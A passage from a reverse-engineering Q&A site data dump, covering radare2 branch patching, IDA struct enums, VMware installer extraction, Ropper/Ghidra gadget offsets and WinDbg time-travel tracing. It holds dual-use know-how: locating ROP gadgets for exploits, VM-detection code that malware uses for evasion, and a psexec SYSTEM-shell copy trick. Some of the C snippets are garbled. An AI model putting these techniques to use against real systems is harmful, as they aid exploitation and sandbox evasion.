0x55c79226b000&#xA;Using 0x55c79226b000&#xA;asm.bits 64&#xA;[0x7fb03234b090]&amp;gt; dcu sym.main&#xA;Continue until 0x55c79226b83a using 1 bpsize&#xA;hit breakpoint at: 0x55c79226b83a&#xA;[0x55c79226b83a]&amp;gt; pd20&#xA;            ;-- main:&#xA;            ;-- rax:&#xA;            ;-- rip:&#xA;            0x55c79226b83a      55             push rbp&#xA;            0x55c79226b83b      4889e5         mov rbp, rsp&#xA;            0x55c79226b83e      4883ec20       sub rsp, 0x20&#xA;            0x55c79226b842      897dec         mov dword [rbp - 0x14], edi&#xA;            0x55c79226b845      488975e0       mov qword [rbp - 0x20], rsi&#xA;            0x55c79226b849      64488b042528.  mov rax, qword fs:[0x28]&#xA;            0x55c79226b852      488945f8       mov qword [rbp - 8], rax&#xA;            0x55c79226b856      31c0           xor eax, eax&#xA;            0x55c79226b858      488d45f4       lea rax, [rbp - 0xc]&#xA;            0x55c79226b85c      4889c6         mov rsi, rax&#xA;            0x55c79226b85f      488d3dee0100.  lea rdi, [0x55c79226ba54] ; &amp;quot;%d&amp;quot;&#xA;            0x55c79226b866      b800000000     mov eax, 0&#xA;            0x55c79226b86b      e880feffff     call sym.imp.scanf&#xA;            0x55c79226b870      8b45f4         mov eax, dword [rbp - 0xc]&#xA;            0x55c79226b873      83f80a         cmp eax, 0xa            ; 10&#xA;        ┌─&amp;lt; 0x55c79226b876      7e0e           jle 0x55c79226b886&#xA;        │   0x55c79226b878      488d3dd80100.  lea rdi, str.greater    ; 0x55c79226ba57 ; &amp;quot;greater&amp;quot;&#xA;        │   0x55c79226b87f      e88cfeffff     call sym.imp.puts&#xA;       ┌──&amp;lt; 0x55c79226b884      eb0c           jmp 0x55c79226b892&#xA;       │└─&amp;gt; 0x55c79226b886      488d3dd20100.  lea rdi, str.less       ; 0x55c79226ba5f ; &amp;quot;less&amp;quot;&#xA;[0x55c79226b83a]&amp;gt; dcu 0x55c79226b876&#xA;Continue until 0x55c79226b876 using 1 bpsize&#xA;7&#xA;hit breakpoint at: 0x55c79226b876&#xA;[0x55c79226b876]&amp;gt; dr eflags&#xA;0x00000293&#xA;[0x55c79226b876]&amp;gt; dr eflags=0x213&#xA;0x00000293 -&amp;gt;0x00000213&#xA;[0x55c79226b876]&amp;gt; dc&#xA;greater&#xA;(17193) Process exited with status=0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here eflags was updated from 0x00000293 to 0x00000213 since&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x293&amp;amp;~(1&amp;lt;&amp;lt;7) = 0x213 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The input was 7 but the output was &amp;quot;Greater&amp;quot; since &lt;code&gt;dr eflags=0x213&lt;/code&gt; unset SF&lt;/p&gt;&#xA;&lt;p&gt;Similarly in the other direction, to set SF&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;eflags |= (1 &amp;lt;&amp;lt; 7)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For larger input it can be used to go to the smaller branch&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[re] r2 -d test&#xA;Process with PID 23724 started...&#xA;= attach 23724 23724&#xA;bin.baddr 0x562ccba44000&#xA;Using 0x562ccba44000&#xA;asm.bits 64&#xA;[0x7f568eeaa090]&amp;gt; dcu sym.main&#xA;Continue until 0x562ccba4483a using 1 bpsize&#xA;hit breakpoint at: 0x562ccba4483a&#xA;[0x562ccba4483a]&amp;gt; pd20&#xA;            ;-- main:&#xA;            ;-- rax:&#xA;            ;-- rip:&#xA;            0x562ccba4483a      55             push rbp&#xA;            0x562ccba4483b      4889e5         mov rbp, rsp&#xA;            0x562ccba4483e      4883ec20       sub rsp, 0x20&#xA;            0x562ccba44842      897dec         mov dword [rbp - 0x14], edi&#xA;            0x562ccba44845      488975e0       mov qword [rbp - 0x20], rsi&#xA;            0x562ccba44849      64488b042528.  mov rax, qword fs:[0x28]&#xA;            0x562ccba44852      488945f8       mov qword [rbp - 8], rax&#xA;            0x562ccba44856      31c0           xor eax, eax&#xA;            0x562ccba44858      488d45f4       lea rax, [rbp - 0xc]&#xA;            0x562ccba4485c      4889c6         mov rsi, rax&#xA;            0x562ccba4485f      488d3dee0100.  lea rdi, [0x562ccba44a54] ; &amp;quot;%d&amp;quot;&#xA;            0x562ccba44866      b800000000     mov eax, 0&#xA;            0x562ccba4486b      e880feffff     call sym.imp.scanf&#xA;            0x562ccba44870      8b45f4         mov eax, dword [rbp - 0xc]&#xA;            0x562ccba44873      83f80a         cmp eax, 0xa            ; 10&#xA;        ┌─&amp;lt; 0x562ccba44876      7e0e           jle 0x562ccba44886&#xA;        │   0x562ccba44878      488d3dd80100.  lea rdi, str.greater    ; 0x562ccba44a57 ; &amp;quot;greater&amp;quot;&#xA;        │   0x562ccba4487f      e88cfeffff     call sym.imp.puts&#xA;       ┌──&amp;lt; 0x562ccba44884      eb0c           jmp 0x562ccba44892&#xA;       │└─&amp;gt; 0x562ccba44886      488d3dd20100.  lea rdi, str.less       ; 0x562ccba44a5f ; &amp;quot;less&amp;quot;&#xA;[0x562ccba4483a]&amp;gt; dcu 0x562ccba44876&#xA;Continue until 0x562ccba44876 using 1 bpsize&#xA;100&#xA;hit breakpoint at: 0x562ccba44876&#xA;[0x562ccba44876]&amp;gt; dr eflags&#xA;0x00000216&#xA;[0x562ccba44876]&amp;gt; &amp;quot;?vx eflags|(1 &amp;lt;&amp;lt; 7)&amp;quot;&#xA;0x00000296&#xA;[0x562ccba44876]&amp;gt; dr eflags=0x296&#xA;0x00000216 -&amp;gt;0x00000296&#xA;[0x562ccba44876]&amp;gt; dc&#xA;less&#xA;(23724) Process exited with status=0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Additionally looking at your disassembly's annotations it seems like you are analyzing the main function of the binary. Here we copy &lt;code&gt;argc&lt;/code&gt; from edi to &lt;code&gt;local_184h&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;|           0x55b3fd508a4b      89bd7cfeffff   mov dword [local_184h], edi       ; argc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So if you start you binary with at least 1 argument it should work. Something like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -d binary arg1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;should work&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2020-11-18T13:52:46.013" LastActivityDate="2020-11-18T13:52:46.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26323" PostTypeId="1" AcceptedAnswerId="26324" CreationDate="2020-11-17T19:20:08.247" Score="1" ViewCount="813" Body="&lt;p&gt;How can I tell IDA what the indexes of an array in a struct are? I think I need to tell it to use an enum, but I'm not sure how. I'm working on Practical Reverse Engineering and following the x86 Rootkit walkthrough in Chapter 3.&lt;/p&gt;&#xA;&lt;p&gt;It walks through reversing the setup of the DriverObject function pointers here:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;01: .text:00010643   mov     ecx, [ebp+DriverObject]&#xA;02: .text:00010646   mov     dword ptr [ecx+38h], offset sub_10300&#xA;03: .text:0001064D   mov     edx, [ebp+DriverObject]&#xA;04: .text:00010650   mov     dword ptr [edx+40h], offset sub_10300&#xA;05: .text:00010657   mov     eax, [ebp+DriverObject]&#xA;06: .text:0001065A   mov     dword ptr [eax+70h], offset sub_10300&#xA;07: .text:00010661   mov     ecx, [ebp+DriverObject]&#xA;08: .text:00010664   mov     dword ptr [ecx+34h], offset sub_10580&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Following along, I have a Driver_Object struct defined, and IDA picks up the MajorFunction offset&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:00010643 mov     ecx, [ebp+DriverObject]&#xA;.text:00010646 mov     [ecx+_DRIVER_OBJECT.MajorFunction], offset sub_10300&#xA;.text:0001064D mov     edx, [ebp+DriverObject]&#xA;.text:00010650 mov     [edx+(_DRIVER_OBJECT.MajorFunction+8)], offset sub_10300&#xA;.text:00010657 mov     eax, [ebp+DriverObject]&#xA;.text:0001065A mov     [eax+(_DRIVER_OBJECT.MajorFunction+38h)], offset sub_10300&#xA;.text:00010661 mov     ecx, [ebp+DriverObject]&#xA;.text:00010664 mov     [ecx+_DRIVER_OBJECT.DriverUnload], offset driverUnload&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;MajorFunction is defined as an array, but I'd like to get IDA to display what those offsets represent. wdm.h defines the offsets as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#define IRP_MJ_CREATE                   0x00&#xA;#define IRP_MJ_CREATE_NAMED_PIPE        0x01&#xA;#define IRP_MJ_CLOSE                    0x02&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Basically, I'd like to see something like the following in the disassembly:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:0001064D mov     edx, [ebp+DriverObject]&#xA;.text:00010650 mov     [edx+(_DRIVER_OBJECT.MajorFunction+IRP_MJ_CLOSE)], offset sub_10300&#xA;.text:00010657 mov     eax, [ebp+DriverObject]&#xA;.text:0001065A mov     [eax+(_DRIVER_OBJECT.MajorFunction+IRP_MJ_DEVICE_CONTROL)], offset sub_10300&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;IDA has the Driver Object defined as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;struct __declspec(align(4)) _DRIVER_OBJECT&#xA;{&#xA;  ...&#xA;  void (__stdcall *DriverUnload)(_DRIVER_OBJECT *);&#xA;  int (__stdcall *MajorFunction[28])(_DEVICE_OBJECT *, _IRP *);&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27741" LastEditorUserId="27741" LastEditDate="2020-11-17T19:52:10.867" LastActivityDate="2020-11-17T21:13:06.690" Title="IDA Set struct array to use enum values" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26324" PostTypeId="2" ParentId="26323" CreationDate="2020-11-17T21:13:06.690" Score="3" Body="&lt;p&gt;I don't think you can do that directly in IDA, although Hex-Rays does it. For example, in the PE header &lt;code&gt;IMAGE_DATA_DIRECTORY DataDirectory[16]&lt;/code&gt; array, the names of the individual elements are specified by &lt;code&gt;#define&lt;/code&gt; constants such as &lt;code&gt;IMAGE_DIRECTORY_ENTRY_EXPORT&lt;/code&gt;. Here we see an access to the element at index &lt;code&gt;0&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GmxJ0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GmxJ0.png&quot; alt=&quot;Access to pe-&amp;gt;DataDirectory 0&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It would be nice to see the symbolic name for the enumeration element &lt;code&gt;0&lt;/code&gt;. We can simply place our cursor on the &lt;code&gt;0&lt;/code&gt;, press &lt;code&gt;m&lt;/code&gt;, and change the constant into an enumeration element the same way we would do in the disassembly listing:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Iqlrz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iqlrz.png&quot; alt=&quot;Changing the index to an enumeration element&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There is a workaround for your particular example in the disassembly listing. You can declare a new structure type -- say, &lt;code&gt;DRIVER_CALLBACK_FUNCTIONS&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;struct DRIVER_CALLBACK_FUNCTIONS {&#xA;  int (__stdcall *IRP_MJ_CREATE)(_DEVICE_OBJECT *, _IRP *);&#xA;  int (__stdcall *IRP_MJ_CREATE_NAMED_PIPE)(_DEVICE_OBJECT *, _IRP *);&#xA;  int (__stdcall *IRP_MJ_CLOSE)(_DEVICE_OBJECT *, _IRP *);&#xA;  // ... all 28 functions ...&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And then modify the definition of &lt;code&gt;_DRIVER_OBJECT&lt;/code&gt;: change the definition of the &lt;code&gt;MajorFunction[28]&lt;/code&gt; array to &lt;code&gt;DRIVER_CALLBACK_FUNCTIONS&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2020-11-17T21:13:06.690" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26325" PostTypeId="2" ParentId="26312" CreationDate="2020-11-17T23:09:27.703" Score="1" Body="&lt;p&gt;Two options:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Include the targets of the pointers into the snapshot (can be done by enabling the target segment’s loader flag in segment properties, or via “Analyze module” from the Modules context menu)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rename the import table pointers using the pointed-to names (e.g. using renimp.idc or similar script)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-11-17T23:09:27.703" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26326" PostTypeId="2" ParentId="25312" CreationDate="2020-11-18T02:13:53.203" Score="1" Body="&lt;p&gt;First step in understanding installer is identifying what product the installer was created with, then look is there any known extract command lines. Tools such as &lt;a href=&quot;https://github.com/Bioruebe/UniExtract2&quot; rel=&quot;nofollow noreferrer&quot;&gt;Universal Extractor 2&lt;/a&gt; can also help do this automatically.&#xA;In this case if you use a tool such as &lt;a href=&quot;https://live.sysinternals.com/ProcMon.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;ProcMon&lt;/a&gt; you can see that VMWare's setup.exe extracts an MSI and executes that.&lt;/p&gt;&#xA;&lt;p&gt;We can pass the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/msi/administrative-installation&quot; rel=&quot;nofollow noreferrer&quot;&gt;admin install&lt;/a&gt; command line to setup.exe, which is then passed to Windows Installer msiexec.exe which extracts the MSI. This is also documented by VMWare in &lt;a href=&quot;https://kb.vmware.com/s/article/2032184#:%7E:text=%20Extracting%20the%20drivers%20from%20VMware%20Tools%20bundled,the%20process%20is%20complete%2C%20click%20Fi...%20More%20&quot; rel=&quot;nofollow noreferrer&quot;&gt;Extracting the drivers from VMware Tools bundled with VMware Workstation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;setup /A /P C:\setup&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will output files into C:\setup along with the MSI.&#xA;You can then just browse the folder structure to identify files, or use an MSI editing tool such as &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/msi/orca-exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;ORCA&lt;/a&gt; open the MSI to view registry tables and custom actions.&lt;/p&gt;&#xA;&lt;p&gt;Also be aware there is more low level options then simply looking for files/drivers to detect running in VMWare for example as per &lt;a href=&quot;https://kb.vmware.com/s/article/1009458#:%7E:text=Detecting%20when%20software%20is%20running%20in%20a%20VMware,hypervisor%20port%20Testing%20the%20CPUID%20hypervisor%20present%20bit&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mechanisms to determine if software is running in a VMware virtual machine&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Testing the CPUID hypervisor present bit Testing the virtual BIOS&lt;/li&gt;&#xA;&lt;li&gt;DMI information and the hypervisor port&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Example using CPU id:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int cpuid_check() {&#xA;    unsigned int eax, ebx, ecx, edx;&#xA;    char hyper_vendor_id[13];&#xA;    cpuid(0x1, &amp;amp; eax, &amp;amp; ebx, &amp;amp; ecx, &amp;amp; edx;;&#xA;        if (bit 31 of ecx is set) {&#xA;          cpuid(0x40000000, &amp;amp; eax, &amp;amp; ebx, &amp;amp; ecx, &amp;amp; edx;; memcpy(hyper_vendor_id + 0, &amp;amp; ebx, 4); memcpy(hyper_vendor_id + 4, &amp;amp; ecx, 4); memcpy(hyper_vendor_id + 8, &amp;amp; edx, 4); hyper_vendor_id[12] = '\0';&#xA;              if (!strcmp(hyper_vendor_id, &amp;quot;VMwareVMware&amp;quot;)) return 1; // Success - running under VMware         } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using DMI information:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int dmi_check(void) {&#xA;    char string[10];&#xA;    GET_BIOS_SERIAL(string);&#xA;    if (!memcmp(string, &amp;quot;VMware-&amp;quot;, 7) || !memcmp(string, &amp;quot;VMW&amp;quot;, 3)) return 1; // DMI contains VMware specific string.         else                 return 0; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2020-11-18T02:23:46.057" LastActivityDate="2020-11-18T02:23:46.057" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26327" PostTypeId="1" AcceptedAnswerId="26329" CreationDate="2020-11-18T02:28:47.480" Score="1" ViewCount="1051" Body="&lt;p&gt;How is the offsets returned from ROP gadget finders related to the files they come from? For example, if the ROP gadget finder says that a certain gadget is at offset &lt;code&gt;0x0002ae74&lt;/code&gt; in &lt;code&gt;libuClibc.0.9.3.so&lt;/code&gt; where should I go to look for the gadget in &lt;code&gt;libuClibc.0.9.3.so&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="34952" LastEditorUserId="34952" LastEditDate="2020-11-18T02:44:59.493" LastActivityDate="2020-11-18T06:11:44.140" Title="Finding Ropper/ROPgadget offsets in Ghidra disassembly" Tags="|disassembly|assembly|ghidra|exploit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26329" PostTypeId="2" ParentId="26327" CreationDate="2020-11-18T06:11:44.140" Score="3" Body="&lt;p&gt;ropper bases the binary at address 0. This can be changed using the -I flag. This value of the base can be picked up from Ghidra to reflect in ropper's output&lt;/p&gt;&#xA;&lt;p&gt;In Ghidra go to Window &amp;gt; Memory Map.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/29WEa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/29WEa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In this case libc is loaded at base address 0x100000. From ropper&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ ropper -I 0x100000 --nocolor --file ./libc.so.6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now the output can be directly used with G to go to that address.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x0000000000197853: pop r13; pop r14; jmp rax;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Additionally if you can't run ropper again for some reason you can try this with your old output.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x0000000000097853: pop r13; pop r14; jmp rax; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Add base to this address&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;hex(0x100000+0x0000000000097853)&#xA;0x197853&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Press G and paste the above address&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        00197848 48 83 c4 10     ADD        RSP,0x10&#xA;        0019784c 4c 89 ee        MOV        RSI,R13&#xA;        0019784f 5b              POP        RBX&#xA;        00197850 5d              POP        RBP&#xA;        00197851 41 5c           POP        R12&#xA;        00197853 41 5d           POP        R13&#xA;        00197855 41 5e           POP        R14&#xA;        00197857 ff e0           JMP        RAX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;One thing to notice is that ropper can produce rop gadgets from addresses which are not known to ghidra as instruction boundaries. For example&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;018258c30000 add dword ptr[edx+0xc358], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;can be used by ropper as&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;58c3 pop eax; ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;because &lt;code&gt;58c3&lt;/code&gt; is still a valid pair of instructions&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2020-11-18T06:11:44.140" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26332" PostTypeId="1" CreationDate="2020-11-18T14:19:09.817" Score="3" ViewCount="151" Body="&lt;p&gt;When i'm debugging a code in decompiler mode, one problem i face is that when i double click on a variable, it goes to &amp;quot;stack locations&amp;quot; instead of the actual address that the variable/structure is stored :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;-0000002C KeyHandle dd ?                          ; offset&#xA;-00000028 RegistryPath LSA_UNICODE_STRING ?&#xA;-00000020 var_20 dd ?&#xA;-0000001C var_1C dd ?&#xA;-00000018 var_18 dd ?&#xA;-00000014 var_14 dd ?&#xA;-00000010 var_10 dd ?&#xA;-0000000C var_C dd ?&#xA;-00000008 var_8 dd ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And clicking on the variable names in above tab doesn't go to the address either.&lt;/p&gt;&#xA;&lt;p&gt;also I'm not sure why but everytime, all the values of this place are &amp;quot;?&amp;quot;, which is not really useful, so in order for me to go to actually go to the address this variable is stored, i have to point my mouse on it, find its address, then write it in cntrl+g to go there.&lt;/p&gt;&#xA;&lt;p&gt;it would be a lot better if i could just click on the variable and it went to the address that this variable is stored, is there any way i can do this?&lt;/p&gt;&#xA;" OwnerUserId="30154" LastEditorUserId="30154" LastEditDate="2020-11-19T11:21:32.157" LastActivityDate="2020-11-19T11:21:32.157" Title="How to go to the variable's stored location directly in decompiler mode of IDA?" Tags="|ida|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26333" PostTypeId="1" AcceptedAnswerId="26339" CreationDate="2020-11-18T16:00:16.260" Score="0" ViewCount="3366" Body="&lt;p&gt;I've download recaf jar file and install JDK 8. When I execute it/start it, it all works fine with &lt;code&gt;java -jar recaf-2.12.0-J8-jar-with-dependencies.jar&lt;/code&gt;. I open a class file also no problem. The issue is when I try to edit it is disabled saying:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// =============================================== //&#xA;// Recompile disabled. Please run Recaf with a JDK //&#xA;// =============================================== //&#xA;&#xA;// Decompiled with: CFR 0.150&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any idea why and how to solve this issue? This is my first time using recaf as well so it might be a newbie question.&lt;/p&gt;&#xA;" OwnerUserId="34964" LastActivityDate="2020-11-19T19:27:13.747" Title="Recaf: Recompile disabled, can't edit" Tags="|java|decompiler|byte-code|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26334" PostTypeId="1" AcceptedAnswerId="26335" CreationDate="2020-11-18T18:36:25.903" Score="2" ViewCount="991" Body="&lt;p&gt;I'm trying to trace a function, but unfortunately that function is huge and has lots and lots of jumps to other locations, making it almost impossible to trace for humans. I know the entry point and the exit point of the function. I would like a way to be able to run the function and see all of the opcodes that were executed afterwards so I can manually recreate the function later in c++. It will also help me find exactly where the function is crashing (since it would be last executed code) when it crashes.&#xA;I've tried the tracing method in x64dbg but that would not record opcodes that I didn't manually walk over.&lt;/p&gt;&#xA;" OwnerUserId="34965" LastActivityDate="2020-11-18T22:33:48.773" Title="x64dbg or alternative: Run to selection while storing all ran opcodes" Tags="|x64dbg|x86-64|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26335" PostTypeId="2" ParentId="26334" CreationDate="2020-11-18T20:45:36.290" Score="5" Body="&lt;p&gt;On Windows &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview&quot; rel=&quot;nofollow noreferrer&quot;&gt;Travel Debugging (TTD)&lt;/a&gt; is a perfect use case for this scenario.&lt;/p&gt;&#xA;&lt;p&gt;To use TTD, you need to run the debugger elevated. Install &lt;a href=&quot;https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86?activetab=pivot:overviewtab&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinDbg Preview&lt;/a&gt; from Windows 10 store using an account that has administrator privileges and use that account when recording in the debugger. In order to run the debugger elevated, select and hold (or right-click) the WinDbg Preview icon in the Start menu and then select More &amp;gt; Run as Administrator.&lt;/p&gt;&#xA;&lt;p&gt;If you need to run on system without Windows 10 I have used it on Windows 8.1/Server 2012 and later by first installing on windows 10 then copying the installed files to another system. As a normal administrator account doesn't have access to the files I copy them running as SYSTEM Account using &lt;strong&gt;&lt;a href=&quot;http://live.sysinternals.com/psexec.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;psexec&lt;/a&gt; -sid cmd.exe&lt;/strong&gt; then copy to a folder with command such as &lt;code&gt;robocopy &amp;quot;C:\program files\WindowsApps\Microsoft.WinDbg_1.2007.6001.0_neutral__8wekyb3d8bbwe&amp;quot; &amp;quot;C\windbgx&amp;quot; * /s&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;To take trace:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In WinDbg Preview, select File &amp;gt; Start debugging &amp;gt; Launch executable (advanced).&lt;/li&gt;&#xA;&lt;li&gt;Enter the path to the user mode executable that you wish to record or select Browse to navigate to the executable.&lt;/li&gt;&#xA;&lt;li&gt;Check the Record process with Time Travel Debugging box to record a trace when the executable is launched.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;You can set breakpoints, create timelines of exceptions/breakpoints/memory access, trace instructions forwards/backwards, and inspect memory/registry/disassembly at any point in execution.&lt;/p&gt;&#xA;&lt;p&gt;If you copied the files out of WindowsApps folder you can also run it via command line in different ways. The ttd.exe is used in amd64\ttd and x86\ttd folders.&lt;/p&gt;&#xA;&lt;p&gt;The following command line options are available.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Usage: ttd  [options] [mode] [PID | program [&amp;lt;arguments&amp;gt;] | &amp;lt;package&amp;gt; &amp;lt;app&amp;gt;]]&#xA;&#xA;Options:&#xA; -?                Display this help.&#xA; -help             Display this help.&#xA; -ring             Trace to a ring buffer.&#xA; -ringMode &amp;lt;mode&amp;gt;  Specify how to record a ring trace. Possible modes:&#xA;                   file - The ring will be in a file on disk.&#xA;                       This is the default.&#xA;                   mappedFile - The ring will be in a file, but the entire&#xA;                       file will be fully mapped in memory. This reduces the&#xA;                       I/O overhead, but the entire file is mapped in&#xA;                       contiguous address space, which may add significant&#xA;                       memory pressure to 32-bit processes.&#xA; -maxFile &amp;lt;size&amp;gt;   Maximum size of the trace file in MB.  When in full trace&#xA;                   mode the default is 1024GB and the minimum value is 1MB.&#xA;                   When in ring buffer mode the default is 2048MB, the minimum&#xA;                   value is 1MB, and the maximum value is 32768MB.&#xA;                   The default for in-memory ring on 32-bit processes is 256MB.&#xA; -out &amp;lt;file&amp;gt;       Specify a trace file name or a directory.  If a file, the&#xA;                   tracer will replace the first instance of '%' with a&#xA;                   version number.  By default the executable's base name with&#xA;                   a version number is used to prefix the trace file name.&#xA; -children         Trace through family of child processes.&#xA;&#xA;Modes:&#xA; -plm              To specify a PLM app/package for tracing from launch or to&#xA;                   launch that app. These PLM apps can only be setup for &#xA;                   tracing if specifying the plm option. See -launch&#xA;                   for the parameters required. &#xA;                   The default name for a single app package is 'app' and &#xA;                   must be included. &#xA; -launch           Launch and trace the program (default).&#xA;                   This is the only mode that uses the program arguments.&#xA;                   For -plm apps it must be specified, and you must include&#xA;                   the package and the app (-launch &amp;lt;package&amp;gt; &amp;lt;app&amp;gt;).&#xA;                   Note: This must be the last option in the command-line,&#xA;                   followed by the program + arguments or the package + app&#xA; -attach &amp;lt;PID&amp;gt;     Attach to a running process specified by process ID.&#xA;&#xA;Control:&#xA; -stop             Stop tracing the process specified (name, PID or &amp;quot;all&amp;quot;).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Some walkthroughs of what can be achieved with TTD are here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-walkthrough&quot; rel=&quot;nofollow noreferrer&quot;&gt;Time Travel Debugging - Sample App Walkthrough&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-object-model&quot; rel=&quot;nofollow noreferrer&quot;&gt;Introduction to Time Travel Debugging Object Model&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://chentiangemalc.wordpress.com/2020/04/25/identifying-position-of-user-interactions-within-a-windbg-time-travel-trace/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Identifying Position of User Interactions within a WinDbg Time Travel 